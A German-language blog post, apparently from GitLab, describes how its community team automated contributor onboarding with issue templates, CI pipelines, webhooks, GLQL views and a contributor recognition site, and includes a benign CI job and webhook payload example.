Um Neulingen beim Einstieg zu helfen, führten wir einen persönlichen Onboarding-Prozess ein, der jeden

Mitwirkenden mit einem Community-Maintainer verbindet.

Wir erstellten ein Issue-Template mit einer klaren Checkliste von Aufgaben.

Das Onboarding-Issue behandelt auch die Zugangsgenehmigung für die

GitLab Community Forks,

eine Sammlung gemeinsamer Projekte, die es einfacher machen, Änderungen zu pushen, mit anderen zusammenzuarbeiten

und auf GitLab Ultimate- und Duo-Funktionen zuzugreifen.

Mit Scoped Labels zeigen wir den Status der Zugangsanfrage für einfache Maintainer-Nachverfolgungen an.

Wir begannen mit einem Ruby-Skript, das über eine geplante Pipeline ausgeführt wurde,

nach neuen Zugangsanfragen suchte und das Issue-Template nutzte, um personalisierte Onboarding-Issues zu erstellen.

Von hier aus engagieren sich unsere Maintainer mit neuen Mitwirkenden, um den Zugang zu verifizieren, Fragen zu beantworten und Issues zu finden.

Wir standardisierten Antworten mit Kommentar-Templates

Mit mehreren Maintainern in der GitLab-Community wollten wir konsistente und klare Kommunikation sicherstellen.

Wir erstellten Kommentar-Templates,

die wir mit dem Repository über die GraphQL-API und ein

Ruby-Skript synchronisieren.

Das Skript wird in .gitlab-ci.yml ausgelöst, wenn Änderungen an Kommentar-Templates

zum Standard-Branch gepusht werden (ein Trockenlauf wird in Merge Requests ausgelöst).

execute:sync-comment-templates:
  stage: execute
  extends: .ruby
  script:
    - bundle exec bin/sync_comment_templates.rb
  variables:
    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY
  rules:
    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == "trigger"
      when: never
    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'
    - if: $CI_MERGE_REQUEST_IID
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        REPORT_ONLY: 1
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        FORCE_SYNC: 1
        DRY_RUN: 0
        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE

Wir eliminierten die 5-Minuten-Wartezeit

Unsere erste Iteration war etwas langsam.

Nach dem Start des Onboarding-Prozesses fragten sich Mitwirkende, was als Nächstes zu tun ist, während die geplante Pipeline bis zu 5 Minuten brauchte, um ihr Onboarding-Issue zu erstellen.

Fünf Minuten fühlen sich wie eine Ewigkeit an, wenn du den Schwung hast, einzutauchen.

Niklas, ein Mitglied unseres Core Teams, entwickelte eine Lösung. Er fügte Webhook-Events für Zugangsanfragen und benutzerdefinierte Payload-Templates für Webhooks hinzu.

Diese Funktionen ermöglichten es uns gemeinsam, eine Pipeline sofort auszulösen, anstatt auf den Zeitplan zu warten. Das reduziert die Zeit auf etwa 40 Sekunden (die Zeit, die die CI-Pipeline zum Ausführen benötigt) und generiert das Onboarding-Issue sofort. Es spart auch Tausende verschwendeter Pipelines und Compute-Minuten, wenn tatsächlich keine Zugangsanfragen verarbeitet werden müssen.

Wir richteten ein Pipeline-Trigger-Token ein und nutzten dies als Ziel für den Webhook, wobei wir die gewünschten Umgebungsvariablen übergaben:

{
  "ref": "main",
  "variables": {
    "EXECUTE_ACCESS_REQUESTS": "1",
    "DRY_RUN": "0",
    "PIPELINE_NAME": "Create onboarding issues",
    "GROUP_ID": "{{group_id}}",
    "EVENT_NAME": "{{event_name}}"
  }
}

Wir automatisierten Nachfassaktionen

Mit einem steigenden Volumen von Kunden und Community-Mitwirkenden, die in die GitLab-Community einsteigen,

hatten Maintainer Schwierigkeiten nachzuvollziehen, welche Issues Aufmerksamkeit benötigten, und einige Nachfragen gingen verloren.

Wir bauten eine Automatisierung auf, die Webhooks und Ruby nutzt, um Issues zu kennzeichnen, die von Community-Mitgliedern aktualisiert wurden.

Dies schafft ein klares Signal des Issue-Status für Maintainer.

GitLab Triage

stupst automatisch inaktive Onboarding-Issues an, um sicherzustellen, dass wir die Dynamik der Mitwirkenden aufrechterhalten.

Wir organisierten die Issue-Verfolgung mit GLQL

Wir bauten eine GLQL-Ansicht, um Issues im Blick zu behalten.

Diese GLQL-Tabelle fasst Onboarding-Issues zusammen, die Aufmerksamkeit benötigen,

damit Maintainer sie überprüfen und mit Community-Mitgliedern nachfassen können.

Diese GLQL-Ansichten verbesserten unsere gesamte Triage-Effizienz.

Es war so erfolgreich, dass wir diese Strategie auch bei den Programmen GitLab for Open Source

und GitLab for Education anwendeten.

Mit GLQL-Tabellen für Support-Issues senkten diese Community-Programme ihre Antwortzeiten um 75%.

Wir machten die README auffindbar

Die @gitlab-community-Gruppe

ist das Zuhause für Mitwirkende auf GitLab.com.

Wir hatten bereits eine README.md-Datei, die die Community Forks und den Onboarding-Prozess erklärte, aber diese Datei

befand sich in unserem Meta-Projekt.

Mit unserer Folgestudie entdeckten wir, dass dies ein Verwirrungspunkt für Neulinge war, wenn ihre

Onboarding-Issues unter einem anderen Projekt waren.

Wir nutzten GitLabs Projekt-Spiegelung,

um dies zu lösen und spiegelten das Meta-Projekt zu gitlab-profile.

Dies machte die bestehende README-Datei auf Gruppenebene sichtbar und erleichterte die Entdeckung.

Die Ergebnisse sprechen für sich selbst

Durch das Dogfooding von GitLab verbesserten wir die in unseren Forschungsstudien gefundenen Stolpersteine

und transformierten die GitLab-Mitwirkenden-Journey.

Wir haben die Anzahl der Kunden und Community-Mitglieder erhöht, die zu GitLab beitragen,

Funktionen zum Produkt hinzufügen, Fehler beheben und zu unserem CI/CD-Katalog beitragen.

Unser Onboarding-Prozess hat die Rate erhöht, mit der Neulinge der Community beitreten, und unsere Gesamtzahl der

Mitwirkenden in den Community Forks hat sich in den letzten 9 Monaten verdoppelt.

Wir reduzierten die Zeit, die Neulinge für ihren ersten Beitrag benötigen, indem wir sie

schneller mit Maintainern verbinden und sie beim Einstieg unterstützen.

Wir nutzen GitLabs Value Stream Analytics,

um unsere Antwortzeiten zu verfolgen.

• Die erste Antwortzeit von Community-Maintainern liegt in den letzten 3 Monaten bei 46 Minuten

• Die durchschnittliche Genehmigungszeit für den Zugang zu Community Forks liegt in den letzten 3 Monaten bei 1 Stunde

Die 100%-ige Erfolgsquote unserer Nutzerstudie 2025 bestätigte diese Verbesserungen für unsere Erstmitwirkenden.

Wir investierten Zeiteinsparungen in die Anerkennung von Mitwirkenden

Die Behebung dieser Neueinsteiger-Herausforderungen ermöglichte uns mehr Kapazität, uns auf eine bessere Anerkennung von

Mitwirkenden zu konzentrieren und Erstmitwirkende zu motivieren, wiederzukommen.

Das Ergebnis ist contributors.gitlab.com.

Wir haben einen zentralen Hub für unsere Mitwirkenden aufgebaut, der gamifizierte Bestenlisten,

Erfolge und Belohnungen bietet.

Mitwirkende können ihre Wirkung sehen, Fortschritte verfolgen und in der Community wachsen.

Was wir gelernt haben teilen

Diese Verbesserungen funktionieren und sind für andere Open-Source-Projekte wiederholbar.

Wir teilen unseren Ansatz über Communities und Konferenzen hinweg, damit andere Projekte in Betracht ziehen können, diese Tools zum Wachstum zu nutzen.

Wenn mehr Organisationen die Teilnahmebarrieren kennenlernen, können wir eine einladendere Open-Source-Umgebung schaffen.

Mit diesen GitLab-Tools können wir sowohl Mitwirkenden als auch Maintainern eine reibungslosere Erfahrung bieten.

Wir sind entschlossen, diese Arbeit voranzutreiben und zusammenzuarbeiten, um Barrieren für Open-Source-Projekte überall zu beseitigen.

Das Gespräch beginnen

Möchtest du mehr darüber erfahren, wie du deine Mitwirkenden-Community wachsen lassen kannst?

Sende eine E-Mail an contributors@gitlab.com oder öffne ein Issue,

um eine Diskussion zu beginnen.

Wir sind hier, um beim Aufbau von Communities zu helfen.